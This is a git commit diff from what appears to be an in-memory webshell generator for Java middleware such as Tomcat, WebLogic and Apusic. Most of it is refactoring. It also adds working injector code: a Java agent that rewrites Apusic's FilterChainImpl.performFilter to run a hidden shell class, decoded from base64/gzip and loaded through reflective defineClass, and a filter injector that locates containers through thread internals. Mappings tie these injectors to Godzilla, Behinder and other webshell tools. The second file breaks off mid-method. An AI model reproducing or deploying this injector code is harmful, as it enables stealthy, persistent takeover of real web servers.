refactor: rename

1. 将枚举 Server 改为字符串常量，使得 memshell 和 probeshell 都能共用
2. 移除 memshell 模块直接内置在 generator 中
3. 通用类从 memshell 移动至 javaweb 下，命名修改，增加辨识度

generator/build.gradle.kts

@@ -29,17 +29,19 @@ tasks.test {
 dependencies {
     implementation(project(":memshell-party-common"))
     implementation(project(":packer"))
-    implementation(project(":memshell"))
-    implementation(libs.bundles.jna)
-    implementation(libs.javax.servlet.api)
+    implementation(libs.byte.buddy)
+    implementation(libs.asm.commons)
     implementation(libs.javax.websocket.api)
+    implementation(libs.javax.servlet.api)
+    implementation(libs.spring.webmvc)
+    implementation(libs.spring.webflux)
+    implementation(libs.reactor.netty.core)
+
+    implementation(libs.bundles.jna)
     implementation(libs.bcel)
     implementation(libs.okhttp3)
     implementation(libs.logback.classic)
     implementation(libs.jackson.databind)
-    implementation(libs.spring.webmvc)
-    implementation(libs.spring.webflux)
-    implementation(libs.reactor.netty.core)
     testImplementation(libs.junit.jupiter)
     testRuntimeOnly(libs.junit.platform.launcher)
     testImplementation(libs.bundles.mockito)

generator/src/main/java/com/reajason/javaweb/Constants.java

@@ -1,24 +0,0 @@
-package com.reajason.javaweb;
-
-/**
- * @author ReaJason
- * @since 2025/8/5
- */
-public class Constants {
-    public static class Server {
-        public static final String TOMCAT = "Tomcat";
-        public static final String JETTY = "Jetty";
-        public static final String UNDERTOW = "Undertow";
-        public static final String JBOSS = "JBoss";
-        public static final String RESIN = "Resin";
-        public static final String WEBLOGIC = "WebLogic";
-        public static final String WEBSPHERE = "WebSphere";
-        public static final String GLASSFISH = "GlassFish";
-        public static final String TONGWEB = "TongWeb";
-        public static final String BES = "BES";
-        public static final String INFORSUITE = "InforSuite";
-        public static final String APUSIC = "Apusic";
-        public static final String SPRING_WEBFLUX = "SpringWebFlux";
-        public static final String SPRING_WEBMVC = "SpringWebMvc";
-    }
-}

generator/src/main/java/com/reajason/javaweb/Server.java

@@ -0,0 +1,23 @@
+package com.reajason.javaweb;
+
+/**
+ * @author ReaJason
+ * @since 2025/8/11
+ */
+public class Server {
+    public static final String Tomcat = "Tomcat";
+    public static final String Jetty = "Jetty";
+    public static final String Undertow = "Undertow";
+    public static final String JBoss = "JBoss";
+    public static final String Resin = "Resin";
+    public static final String WebLogic = "WebLogic";
+    public static final String WebSphere = "WebSphere";
+    public static final String GlassFish = "GlassFish";
+    public static final String TongWeb = "TongWeb";
+    public static final String BES = "BES";
+    public static final String InforSuite = "InforSuite";
+    public static final String Apusic = "Apusic";
+    public static final String SpringWebMvc = "SpringWebMvc";
+    public static final String SpringWebFlux = "SpringWebFlux";
+    public static final String XXLJOB = "XXLJOB";
+}

generator/src/main/java/com/reajason/javaweb/ShellGenerator.java

@@ -1,4 +1,4 @@
-package com.reajason.javaweb.memshell.generator;
+package com.reajason.javaweb;
 
 /**
  * @author ReaJason

generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java

@@ -4,8 +4,8 @@ import com.reajason.javaweb.memshell.config.InjectorConfig;
 import com.reajason.javaweb.memshell.config.ShellConfig;
 import com.reajason.javaweb.memshell.config.ShellToolConfig;
 import com.reajason.javaweb.memshell.generator.InjectorGenerator;
-import com.reajason.javaweb.memshell.server.AbstractShell;
-import com.reajason.javaweb.memshell.utils.CommonUtil;
+import com.reajason.javaweb.memshell.server.AbstractServer;
+import com.reajason.javaweb.utils.CommonUtil;
 import org.apache.commons.lang3.StringUtils;
 import org.apache.commons.lang3.tuple.Pair;
 
@@ -18,14 +18,14 @@ import java.util.Map;
 public class MemShellGenerator {
 
     public static MemShellResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
-        Server server = shellConfig.getServer();
-        AbstractShell shell = server.getShell();
-        if (shell == null) {
-            throw new IllegalArgumentException("Unsupported server: " + server);
+        String serverName = shellConfig.getServer();
+        AbstractServer server = ServerFactory.getServer(serverName);
+        if (server == null) {
+            throw new IllegalArgumentException("Unsupported server: " + serverName);
         }
 
         if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
-            shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(server, shellConfig.getShellType()));
+            shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(serverName, shellConfig.getShellType()));
         }
 
         if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
@@ -35,11 +35,11 @@ public class MemShellGenerator {
         Class<?> injectorClass = null;
 
         if (ShellTool.Custom.equals(shellConfig.getShellTool())) {
-            injectorClass = shellConfig.getServer().getShell().getShellInjectorMapping().getInjector(shellConfig.getShellType());
+            injectorClass = server.getShellInjectorMapping().getInjector(shellConfig.getShellType());
         } else {
-            Pair<Class<?>, Class<?>> shellInjectorPair = shellConfig.getServer().getShell().getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
+            Pair<Class<?>, Class<?>> shellInjectorPair = server.getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
             if (shellInjectorPair == null) {
-                throw new UnsupportedOperationException(server + " unsupported shell type: " + shellConfig.getShellType() + " for tool: " + shellConfig.getShellTool());
+                throw new UnsupportedOperationException(serverName + " unsupported shell type: " + shellConfig.getShellType() + " for tool: " + shellConfig.getShellTool());
             }
             Class<?> shellClass = shellInjectorPair.getLeft();
             injectorClass = shellInjectorPair.getRight();

generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java

@@ -1,5 +1,6 @@
 package com.reajason.javaweb.memshell;
 
+import com.reajason.javaweb.Server;
 import com.reajason.javaweb.memshell.server.*;
 import com.reajason.javaweb.memshell.shelltool.antsword.*;
 import com.reajason.javaweb.memshell.shelltool.behinder.*;
@@ -7,102 +8,43 @@ import com.reajason.javaweb.memshell.shelltool.command.*;
 import com.reajason.javaweb.memshell.shelltool.godzilla.*;
 import com.reajason.javaweb.memshell.shelltool.neoreg.*;
 import com.reajason.javaweb.memshell.shelltool.suo5.*;
-import lombok.Getter;
+
+import java.util.Collections;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.concurrent.CopyOnWriteArrayList;
+import java.util.function.Supplier;
 
 import static com.reajason.javaweb.memshell.ShellType.*;
-import static com.reajason.javaweb.memshell.server.ServerToolRegistry.addToolMapping;
 
 /**
  * @author ReaJason
- * @since 2024/11/22
+ * @since 2025/8/11
  */
-@Getter
-public enum Server {
-    /**
-     * Tomcat 中间件
-     */
-    Tomcat(new TomcatShell()),
-    /**
-     * Jetty 中间件
-     */
-    Jetty(new JettyShell()),
-    /**
-     * JBoss 中间件，JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
-     */
-    JBoss(new JbossShell()),
-    /**
-     * Undertow，对应是 Wildfly 以及 JBossEAP7，也有可能是 SpringBoot 用的
-     * <a href="https://developers.redhat.com/products/eap/download">JBossEAP</a>
-     */
-    Undertow(new UndertowShell()),
-
-    /**
-     * SpringMVC 框架
-     */
-    SpringWebMvc(new SpringWebMvcShell()),
-
-    /**
-     * Spring WebFlux 框架
-     */
-    SpringWebFlux(new SpringWebFluxShell()),
-
-    /**
-     * WebSphere 中间件
-     */
-    WebSphere(new WebSphereShell()),
-
-    /**
-     * WebLogic 中间件
-     */
-    WebLogic(new WebLogicShell()),
-
-    /**
-     * Resin 中间件，<a href="https://caucho.com/products/resin/download">Resin</a>
-     */
-    Resin(new ResinShell()),
-
-    /**
-     * GlassFish 中间件
-     */
-    GlassFish(new GlassFishShell()),
-
-    /**
-     * 宝兰德中间件，9.5.2+ 企业版
-     */
-    BES(new BesShell()),
-
-    /**
-     * 东方通中间件
-     */
-    TongWeb(new TongWebShell()),
-
-    /**
-     * 金蝶天燕中间件，only 9
-     */
-    Apusic(new ApusicShell()),
-
-    /**
-     * 中创中间件
-     */
-    InforSuite(new InforSuiteShell()),
-
-    /**
-     * 普元中间件
-     */
-    Primeton(new GlassFishShell()),
-
-    /**
-     * XXL-JOB
-     */
-    XXLJOB(new XxlJobShell());
-
-    private final AbstractShell shell;
-
-    Server(AbstractShell shell) {
-        this.shell = shell;
-    }
+public class ServerFactory {
+    private static final Map<String, Supplier<AbstractServer>> registry = new ConcurrentHashMap<>();
+    private static final Map<String, AbstractServer> instances = new ConcurrentHashMap<>();
+    private static final List<String> servers = new CopyOnWriteArrayList<>();
 
     static {
+        register(Server.Tomcat, Tomcat::new);
+        register(Server.Jetty, Jetty::new);
+        register(Server.Undertow, Undertow::new);
+        register(Server.JBoss, Jboss::new);
+        register(Server.Resin, Resin::new);
+        register(Server.WebLogic, WebLogic::new);
+        register(Server.WebSphere, WebSphere::new);
+        register(Server.GlassFish, GlassFish::new);
+        register(Server.TongWeb, TongWeb::new);
+        register(Server.BES, Bes::new);
+        register(Server.InforSuite, InforSuite::new);
+        register(Server.Apusic, Apusic::new);
+        register(Server.SpringWebMvc, SpringWebMvc::new);
+        register(Server.SpringWebFlux, SpringWebFlux::new);
+        register(Server.XXLJOB, XxlJob::new);
+
         addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
                 .addShellClass(SERVLET, GodzillaServlet.class)
                 .addShellClass(JAKARTA_SERVLET, GodzillaServlet.class)
@@ -253,4 +195,51 @@ public enum Server {
                 .addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
                 .build());
     }
-}
+
+    public static void register(String serverName, Supplier<AbstractServer> shellSupplier) {
+        if (serverName == null || serverName.trim().isEmpty()) {
+            throw new IllegalArgumentException("Server name cannot be null or empty.");
+        }
+        Supplier<AbstractServer> existing = registry.putIfAbsent(serverName, shellSupplier);
+        if (existing == null) {
+            servers.add(serverName);
+        }
+    }
+
+    public static AbstractServer getServer(String serverName) {
+        if (serverName == null) {
+            return null;
+        }
+        return instances.computeIfAbsent(serverName, k -> {
+            Supplier<AbstractServer> supplier = registry.get(k);
+            if (supplier == null) {
+                throw new IllegalArgumentException("Unsupported server type: '" + serverName + "'.");
+            }
+            return supplier.get();
+        });
+    }
+
+    public static void addToolMapping(ShellTool shellTool, ToolMapping toolMapping) {
+        Map<String, Class<?>> rawToolMapping = toolMapping.getShellClassMap();
+        List<String> supportedServers = ServerFactory.getSupportedServers();
+        for (String supportedServer : supportedServers) {
+            AbstractServer server = ServerFactory.getServer(supportedServer);
+            InjectorMapping shellInjectorMapping = server.getShellInjectorMapping();
+            Set<String> injectorSupportedShellTypes = shellInjectorMapping.getSupportedShellTypes();
+            ToolMapping.ToolMappingBuilder toolMappingBuilder = ToolMapping.builder();
+
+            for (String shellType : injectorSupportedShellTypes) {
+                Class<?> shellClass = rawToolMapping.get(shellType);
+                if (shellClass == null) {
+                    continue;
+                }
+                toolMappingBuilder.addShellClass(shellType, shellClass);
+            }
+            server.addToolMapping(shellTool, toolMappingBuilder.build());
+        }
+    }
+
+    public static List<String> getSupportedServers() {
+        return Collections.unmodifiableList(servers);
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/ShellTool.java

@@ -1,5 +1,6 @@
 package com.reajason.javaweb.memshell;
 
+import com.reajason.javaweb.ShellGenerator;
 import com.reajason.javaweb.memshell.config.*;
 import com.reajason.javaweb.memshell.generator.*;
 import com.reajason.javaweb.memshell.generator.command.CommandGenerator;

generator/src/main/java/com/reajason/javaweb/memshell/config/AntSwordConfig.java

@@ -1,6 +1,6 @@
 package com.reajason.javaweb.memshell.config;
 
-import com.reajason.javaweb.memshell.utils.CommonUtil;
+import com.reajason.javaweb.utils.CommonUtil;
 import lombok.*;
 import lombok.experimental.SuperBuilder;
 

generator/src/main/java/com/reajason/javaweb/memshell/config/BehinderConfig.java

@@ -1,6 +1,6 @@
 package com.reajason.javaweb.memshell.config;
 
-import com.reajason.javaweb.memshell.utils.CommonUtil;
+import com.reajason.javaweb.utils.CommonUtil;
 import lombok.*;
 import lombok.experimental.SuperBuilder;
 

generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java

@@ -1,6 +1,6 @@
 package com.reajason.javaweb.memshell.config;
 
-import com.reajason.javaweb.memshell.utils.CommonUtil;
+import com.reajason.javaweb.utils.CommonUtil;
 import lombok.Builder;
 import lombok.Getter;
 import lombok.ToString;

generator/src/main/java/com/reajason/javaweb/memshell/config/GodzillaConfig.java

@@ -1,6 +1,6 @@
 package com.reajason.javaweb.memshell.config;
 
-import com.reajason.javaweb.memshell.utils.CommonUtil;
+import com.reajason.javaweb.utils.CommonUtil;
 import lombok.*;
 import lombok.experimental.SuperBuilder;
 

generator/src/main/java/com/reajason/javaweb/memshell/config/InjectorConfig.java

@@ -1,6 +1,6 @@
 package com.reajason.javaweb.memshell.config;
 
-import com.reajason.javaweb.memshell.utils.CommonUtil;
+import com.reajason.javaweb.utils.CommonUtil;
 import lombok.AllArgsConstructor;
 import lombok.Builder;
 import lombok.Data;

generator/src/main/java/com/reajason/javaweb/memshell/config/NeoreGeorgConfig.java

@@ -1,6 +1,6 @@
 package com.reajason.javaweb.memshell.config;
 
-import com.reajason.javaweb.memshell.utils.CommonUtil;
+import com.reajason.javaweb.utils.CommonUtil;
 import lombok.*;
 import lombok.experimental.SuperBuilder;
 

generator/src/main/java/com/reajason/javaweb/memshell/config/ShellConfig.java

@@ -1,6 +1,5 @@
 package com.reajason.javaweb.memshell.config;
 
-import com.reajason.javaweb.memshell.Server;
 import com.reajason.javaweb.memshell.ShellTool;
 import com.reajason.javaweb.memshell.ShellType;
 import lombok.AllArgsConstructor;
@@ -21,7 +20,7 @@ public class ShellConfig {
     /**
      * 目标服务类型
      */
-    private Server server;
+    private String server;
 
     /**
      * 目标服务版本

generator/src/main/java/com/reajason/javaweb/memshell/config/Suo5Config.java

@@ -1,6 +1,6 @@
 package com.reajason.javaweb.memshell.config;
 
-import com.reajason.javaweb.memshell.utils.CommonUtil;
+import com.reajason.javaweb.utils.CommonUtil;
 import lombok.*;
 import lombok.experimental.SuperBuilder;
 

generator/src/main/java/com/reajason/javaweb/memshell/generator/ASMShellGenerator.java

@@ -1,5 +1,6 @@
 package com.reajason.javaweb.memshell.generator;
 
+import com.reajason.javaweb.ShellGenerator;
 import com.reajason.javaweb.memshell.config.ShellConfig;
 import com.reajason.javaweb.memshell.config.ShellToolConfig;
 

generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java

@@ -2,8 +2,8 @@ package com.reajason.javaweb.memshell.generator;
 
 import com.reajason.javaweb.memshell.config.BehinderConfig;
 import com.reajason.javaweb.memshell.config.ShellConfig;
-import com.reajason.javaweb.memshell.utils.DigestUtils;
 import net.bytebuddy.dynamic.DynamicType;
+import org.apache.commons.codec.digest.DigestUtils;
 
 import static net.bytebuddy.matcher.ElementMatchers.named;
 

generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java

@@ -1,13 +1,15 @@
 package com.reajason.javaweb.memshell.generator;
 
 import com.reajason.javaweb.ClassBytesShrink;
+import com.reajason.javaweb.ShellGenerator;
 import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
 import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
 import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
+import com.reajason.javaweb.memshell.ServerFactory;
 import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.memshell.config.ShellConfig;
 import com.reajason.javaweb.memshell.config.ShellToolConfig;
-import com.reajason.javaweb.memshell.server.AbstractShell;
+import com.reajason.javaweb.memshell.server.AbstractServer;
 import net.bytebuddy.ByteBuddy;
 import net.bytebuddy.dynamic.DynamicType;
 
@@ -36,14 +38,14 @@ public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> impleme
                 .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())));
 
         String shellType = shellConfig.getShellType();
-        AbstractShell shell = shellConfig.getServer().getShell();
+        AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
 
         if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
-            builder = ListenerGenerator.build(builder, shell.getListenerInterceptor(), shellClass, shellClassName);
+            builder = ListenerGenerator.build(builder, server.getListenerInterceptor(), shellClass, shellClassName);
         }
 
         if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {
-            builder = ValveGenerator.build(builder, shell, shellConfig.getServerVersion());
+            builder = ValveGenerator.build(builder, server, shellConfig.getServerVersion());
         }
 
         if (shellConfig.isJakarta()) {

generator/src/main/java/com/reajason/javaweb/memshell/generator/GodzillaGenerator.java

@@ -1,10 +1,9 @@
 package com.reajason.javaweb.memshell.generator;
 
-import com.reajason.javaweb.ClassBytesShrink;
 import com.reajason.javaweb.memshell.config.GodzillaConfig;
 import com.reajason.javaweb.memshell.config.ShellConfig;
-import com.reajason.javaweb.memshell.utils.DigestUtils;
 import net.bytebuddy.dynamic.DynamicType;
+import org.apache.commons.codec.digest.DigestUtils;
 
 import static net.bytebuddy.matcher.ElementMatchers.named;
 

generator/src/main/java/com/reajason/javaweb/memshell/generator/InjectorGenerator.java

@@ -5,7 +5,7 @@ import com.reajason.javaweb.asm.InnerClassDiscovery;
 import com.reajason.javaweb.buddy.*;
 import com.reajason.javaweb.memshell.config.InjectorConfig;
 import com.reajason.javaweb.memshell.config.ShellConfig;
-import com.reajason.javaweb.memshell.utils.CommonUtil;
+import com.reajason.javaweb.utils.CommonUtil;
 import lombok.SneakyThrows;
 import net.bytebuddy.ByteBuddy;
 import net.bytebuddy.description.type.TypeDescription;

generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java

@@ -1,7 +1,7 @@
 package com.reajason.javaweb.memshell.generator;
 
 import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
-import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
+import com.reajason.javaweb.utils.ShellCommonUtil;
 import net.bytebuddy.asm.Advice;
 import net.bytebuddy.description.modifier.Ownership;
 import net.bytebuddy.description.modifier.Visibility;

generator/src/main/java/com/reajason/javaweb/memshell/generator/ValveGenerator.java

@@ -1,9 +1,9 @@
 package com.reajason.javaweb.memshell.generator;
 
 import com.reajason.javaweb.GenerationException;
-import com.reajason.javaweb.memshell.server.AbstractShell;
-import com.reajason.javaweb.memshell.server.BesShell;
-import com.reajason.javaweb.memshell.server.TongWebShell;
+import com.reajason.javaweb.memshell.server.AbstractServer;
+import com.reajason.javaweb.memshell.server.Bes;
+import com.reajason.javaweb.memshell.server.TongWeb;
 import net.bytebuddy.asm.AsmVisitorWrapper;
 import net.bytebuddy.description.field.FieldDescription;
 import net.bytebuddy.description.field.FieldList;
@@ -30,7 +30,7 @@ public class ValveGenerator {
     public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
     public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
 
-    public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, AbstractShell shell, String serverVersion) {
+    public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
         String packageName = null;
         if (serverVersion.equals("6")) {
             packageName = TONGWEB6_VALVE_PACKAGE;
@@ -38,11 +38,11 @@ public class ValveGenerator {
             packageName = TONGWEB7_VALVE_PACKAGE;
         } else if (serverVersion.equals("8")) {
             packageName = TONGWEB8_VALVE_PACKAGE;
-        } else if (shell instanceof BesShell) {
+        } else if (shell instanceof Bes) {
             packageName = BES_VALVE_PACKAGE;
         }
         if (StringUtils.isEmpty(packageName)) {
-            if (shell instanceof TongWebShell) {
+            if (shell instanceof TongWeb) {
                 throw new GenerationException("serverVersion is needed for TongWeb valve shell, please use 6/7/8 for shellConfig.serverVersion");
             }
             return builder;

generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java

@@ -6,7 +6,7 @@ import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
 import com.reajason.javaweb.memshell.config.CommandConfig;
 import com.reajason.javaweb.memshell.config.ShellConfig;
 import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
-import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
+import com.reajason.javaweb.utils.ShellCommonUtil;
 import net.bytebuddy.asm.Advice;
 import net.bytebuddy.description.modifier.Ownership;
 import net.bytebuddy.description.modifier.Visibility;

generator/src/main/java/com/reajason/javaweb/memshell/generator/command/DoubleBase64ParamInterceptor.java

@@ -1,6 +1,6 @@
 package com.reajason.javaweb.memshell.generator.command;
 
-import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
+import com.reajason.javaweb.utils.ShellCommonUtil;
 import net.bytebuddy.asm.Advice;
 
 /**

generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterChainAgentInjector.java

@@ -0,0 +1,219 @@
+package com.reajason.javaweb.memshell.injector.apusic;
+
+import org.objectweb.asm.*;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.lang.instrument.ClassFileTransformer;
+import java.lang.instrument.Instrumentation;
+import java.security.ProtectionDomain;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ * @since 2025/3/26
+ */
+public class ApusicFilterChainAgentInjector implements ClassFileTransformer {
+    private static final String TARGET_CLASS = "com/apusic/web/container/FilterChainImpl";
+    private static final String TARGET_METHOD_NAME = "performFilter";
+
+    public static String getClassName() {
+        return "{{advisorName}}";
+    }
+
+    public static String getBase64String() {
+        return "{{base64String}}";
+    }
+
+    public static void premain(String args, Instrumentation inst) throws Exception {
+        launch(inst);
+    }
+
+    public static void agentmain(String args, Instrumentation inst) throws Exception {
+        launch(inst);
+    }
+
+    private static void launch(Instrumentation inst) throws Exception {
+        System.out.println("MemShell Agent is starting");
+        inst.addTransformer(new ApusicFilterChainAgentInjector(), true);
+        for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
+            String name = allLoadedClass.getName();
+            if (TARGET_CLASS.replace("/", ".").equals(name)) {
+                inst.retransformClasses(allLoadedClass);
+                System.out.println("MemShell Agent is working at com.apusic.web.container.FilterChainImpl.performFilter");
+            }
+        }
+    }
+
+    @Override
+    @SuppressWarnings("all")
+    public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
+                            ProtectionDomain protectionDomain, byte[] bytes) {
+        if (TARGET_CLASS.equals(className)) {
+            defineTargetClass(loader);
+            try {
+                ClassReader cr = new ClassReader(bytes);
+                ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
+                    @Override
+                    protected ClassLoader getClassLoader() {
+                        return loader;
+                    }
+                };
+                ClassVisitor cv = getClassVisitor(cw);
+                cr.accept(cv, ClassReader.EXPAND_FRAMES);
+                return cw.toByteArray();
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+        }
+        return bytes;
+    }
+
+    @SuppressWarnings("all")
+    public static ClassVisitor getClassVisitor(ClassVisitor cv) {
+        return new ClassVisitor(Opcodes.ASM9, cv) {
+            @Override
+            public MethodVisitor visitMethod(int access, String name, String descriptor,
+                                             String signature, String[] exceptions) {
+                MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
+                if (TARGET_METHOD_NAME.equals(name)) {
+                    try {
+                        Type[] argumentTypes = Type.getArgumentTypes(descriptor);
+                        return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
+                    } catch (Exception e) {
+                        e.printStackTrace();
+                    }
+                }
+                return mv;
+            }
+        };
+    }
+
+    public static class AgentShellMethodVisitor extends MethodVisitor {
+        private final Type[] argumentTypes;
+        private final String className;
+
+        public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
+            super(Opcodes.ASM9, mv);
+            this.argumentTypes = argTypes;
+            this.className = className;
+        }
+
+        @Override
+        public void visitCode() {
+            loadArgArray();
+            Label tryStart = new Label();
+            Label tryEnd = new Label();
+            Label catchHandler = new Label();
+            Label ifConditionFalse = new Label();
+            Label skipCatchBlock = new Label();
+            mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
+
+            mv.visitLabel(tryStart);
+            String internalClassName = className.replace('.', '/');
+            mv.visitTypeInsn(Opcodes.NEW, internalClassName);
+            mv.visitInsn(Opcodes.DUP);
+            mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
+            mv.visitInsn(Opcodes.SWAP);
+            mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
+                    "java/lang/Object",
+                    "equals",
+                    "(Ljava/lang/Object;)Z",
+                    false);
+            mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
+            mv.visitInsn(Opcodes.RETURN);
+            mv.visitLabel(ifConditionFalse);
+            mv.visitLabel(tryEnd);
+            mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
+            mv.visitLabel(catchHandler);
+            mv.visitInsn(Opcodes.POP);
+            mv.visitLabel(skipCatchBlock);
+        }
+
+        public void loadArgArray() {
+            mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
+            mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
+            for (int i = 0; i < argumentTypes.length; i++) {
+                mv.visitInsn(Opcodes.DUP);
+                push(i);
+                mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
+                mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
+            }
+        }
+
+        @SuppressWarnings("all")
+        public void push(final int value) {
+            if (value >= -1 && value <= 5) {
+                mv.visitInsn(Opcodes.ICONST_0 + value);
+            } else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
+                mv.visitIntInsn(Opcodes.BIPUSH, value);
+            } else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
+                mv.visitIntInsn(Opcodes.SIPUSH, value);
+            } else {
+                mv.visitLdcInsn(new Integer(value));
+            }
+        }
+
+        private int getArgIndex(final int arg) {
+            int index = 1;
+            for (int i = 0; i < arg; i++) {
+                index += argumentTypes[i].getSize();
+            }
+            return index;
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] decodeBase64(String base64Str) throws Exception {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        }
+    }
+
+    @SuppressWarnings("all")
+    public static byte[] gzipDecompress(byte[] compressedData) {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPInputStream gzipInputStream = null;
+        try {
+            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
+            byte[] buffer = new byte[4096];
+            int n;
+            while ((n = gzipInputStream.read(buffer)) > 0) {
+                out.write(buffer, 0, n);
+            }
+            return out.toByteArray();
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        } finally {
+            try {
+                if (gzipInputStream != null) {
+                    gzipInputStream.close();
+                }
+                out.close();
+            } catch (Exception ignored) {
+            }
+        }
+    }
+
+    @SuppressWarnings("all")
+    public void defineTargetClass(ClassLoader loader) {
+        try {
+            loader.loadClass(getClassName());
+            return;
+        } catch (ClassNotFoundException ignored) {
+        }
+        try {
+            byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
+            java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+            defineClass.setAccessible(true);
+            defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
+        } catch (Exception ignored) {
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java

@@ -0,0 +1,191 @@
+package com.reajason.javaweb.memshell.injector.apusic;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Array;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Set;
+import java.util.zip.GZIPInputStream;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/27
+ */
+public class ApusicFilterInjector {
+
+    static {
+        new ApusicFilterInjector();
+    }
+
+    public ApusicFilterInjector() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object filter = getShell(context);
+                inject(context, filter);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public String getUrlPattern() {
+        return "{{urlPattern}}";
+    }
+
+    public String getClassName() {
+        return "{{className}}";
+    }
+
+    public String getBase64String() throws IOException {
+        return "{{base64Str}}";
+    }
+
+    /**
+     * context: com.apusic.web.container.WebContainer
+     * context -> webapp: com.apusic.deploy.runtime.WebModule
+     * /usr/local/ass/lib/apusic.jar
+     */
+    public List<Object> getContext() throws Exception {
+        List<Object> contexts = new ArrayList<Object>();
+        Set<Thread> threads = Thread.getAllStackTraces().keySet();
+        for (Thread thread : threads) {
+            if (thread.getName().contains("HouseKeeper")) {
+                contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container"));
+            }
+        }
+        return contexts;
+    }
+
+    private ClassLoader getWebAppClassLoader(Object context) throws Exception {
+        try {
+            return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
+        } catch (Exception e) {
+            return ((ClassLoader) getFieldValue(context, "loader"));
+        }
+    }
+
+    @SuppressWarnings("all")
+    private Object getShell(Object context) throws Exception {
+        ClassLoader classLoader = getWebAppClassLoader(context);
+        try {
+            return classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
